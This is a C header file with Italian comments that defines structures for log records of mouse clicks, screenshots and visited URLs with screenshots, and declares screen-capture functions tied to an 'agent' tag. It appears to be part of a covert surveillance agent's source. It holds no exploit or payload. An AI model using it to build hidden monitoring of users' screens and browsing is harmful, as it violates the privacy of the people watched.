HM_BitmapCommon.h
#define BUILD_PALETTE(x) { DWORD i, j = 0; for(i=0; i<256; i++) { \
x[i].peRed = colors[j++]; \
x[i].peGreen = colors[j++]; \
x[i].peBlue = colors[j++]; \
x[i].peFlags = 0; }}
typedef struct {
BYTE peBlue;
BYTE peGreen;
BYTE peRed;
BYTE peFlags;
} QUADPALETTE;
typedef struct {
BITMAPINFOHEADER bmiHeader;
QUADPALETTE bmiColors[256];
} BITMAPINFOFULL;
typedef struct {
WORD palVersion;
WORD palNumEntries;
PALETTEENTRY palPalEntry[256];
} LOGPALETTEFULL;
// XXX Additional data per i log di tipo mouse
typedef struct _MouseAdditionalData {
UINT uVersion;
#define LOG_MOUSE_VERSION 2009040201
UINT uProcessNameLen;
UINT uWindowNameLen;
UINT xPos;
UINT yPos;
UINT max_x;
UINT max_y;
} MouseAdditionalData;
// XXX Additional data per i log di tipo snapshot
typedef struct _SnapshotAdditionalData {
UINT uVersion;
#define LOG_SNAP_VERSION 2009031201
UINT uProcessNameLen;
UINT uWindowNameLen;
} SnapshotAdditionalData;
// XXX Additional data per i log di tipo URL con snapshot
typedef struct _UrlSnapAdditionalData {
UINT uVersion;
#define LOG_URLSNAP_VERSION 2010071301
UINT uBrowserType;
UINT uUrlNameLen;
UINT uWindowTitleLen;
} UrlSnapAdditionalData;
typedef struct _url_info_struct {
UINT uBrowserType;
WCHAR url_name[1];
} url_info_struct;
// Dichiarata in HM_SnapShot.h in cui questo file viene incluso
extern void TakeSnapShot(HWND grabwind, BOOL only_window, DWORD quality);
extern void TakeMiniSnapShot(DWORD agent_tag, HWND grabwind, int xPos, int yPos, DWORD g_xscdim, DWORD g_yscdim);